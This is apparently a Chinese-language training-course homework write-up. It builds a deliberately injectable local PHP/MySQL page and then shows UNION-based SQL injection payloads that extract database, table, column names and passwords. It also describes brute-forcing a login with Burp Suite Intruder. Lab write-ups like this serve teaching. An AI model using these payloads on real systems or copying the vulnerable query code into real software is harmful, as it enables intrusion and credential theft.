简介:Day3的练习题和作业
简单sql注入
(自己搭建一个页面注入)
页面搭建
使用phpstudy,在WWW目录的index.php中进行代码修改
在localhost界面下,即127.0.0.1打开默认显示index.php的页面
该页面有如下要求:
使用Post方法传递参数
链接之前自己已生成的数据库
字符型注入页面,要求是post传递的参数,输入id,显示username,age,sex
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Enter your id:
/*在这之上html代码,实现的文本框输入,使其能够以post方法传递参数*/
if(empty($_POST['id'])) die; // 防止返回错误信息
$id=$_POST['id']; // 接受id表单提交的值
$conn=mysql_connect("127.0.0.1","root","root");//进入mysql 主机,用户名,密码
if($conn){
echo "Connecting is ok!
";
}else{
echo "Connecting is not ok!
";
}
$db_selected = mysql_select_db('ckf',$conn);//该函数可以设置活动的MySQL数据库,相当于选择一个数据库进入
$sql = "SELECT * from ckf where id='$id'";//定义sql语句
$result = mysql_query($sql,$conn);//执行sql语句后返回给result
while($row = mysql_fetch_array($result)){
echo "username: ".$row['username']."
";
echo "sex: ".$row['sex']."
";
echo "age: ".$row['age']."
";
}
/*mysql_fetch_array函数从结果集中取得一行作为数组,返回根据从结果集取得的行生成的数组,如果没有更多行则返回false*/
/*while循环目的是为了遍历数组*/
mysql_close($conn);//关闭数据库
?>
sql注入攻击
1. 判断注入存在与否,判断注入类型
第一幅图
第二幅图
第三幅图
由上述三图可以看出,永真式成功,永假式失败,基本可以判定注入存在且为字符型注入
2. 猜解SQL查询语句中的字段数,为后续union select 做准备
图1
图2
图3
可以看出,order by 6成功,order by 7失败
说明执行的SQL查询语句中有六个字段
3. 确定回显字段顺序
可以看出,返回的是该表的第二、四、五列
4. 获取当前数据库名称
具体输入:
1’ union select 1,database(),3,4,5,6 #
当然,database()在4或5位置也可以
因为在第2位置,所以username显示的结果(ckf)就为库名
5. 获取当前数据库中所引用的表名
具体输入:
1’ union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() #
同理,username显示结果(ckf)就为表名
6. 获取引用表中的字段名称
具体输入:
1’ union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=’ckf’ #
同理,username上显示的信息就为表单所有的字段
7. 得到目标数据password
具体输入:
1’ or 1=1 union select 1,2,3,group_concat(id,username),group_concat(password),6 from ckf #
sex一栏为username
age一栏为对应username的password
password.txt 使用Burpsuit爆破密码
1. 右键源码发现最下面有个
怀疑藏有别的目录,于是将password.txt这一字符串替换index.php
发现有许多的字符串,正确密码应该就在其中,将文本复制下来保存
2. Burpsuit截包
随意输入一串密码后点击确认,使用Burpsuit截包
随后send to intruder
修改完需要爆破的参数后Load之前保存下来的密码文本
start attack后发现长度不同的即为密码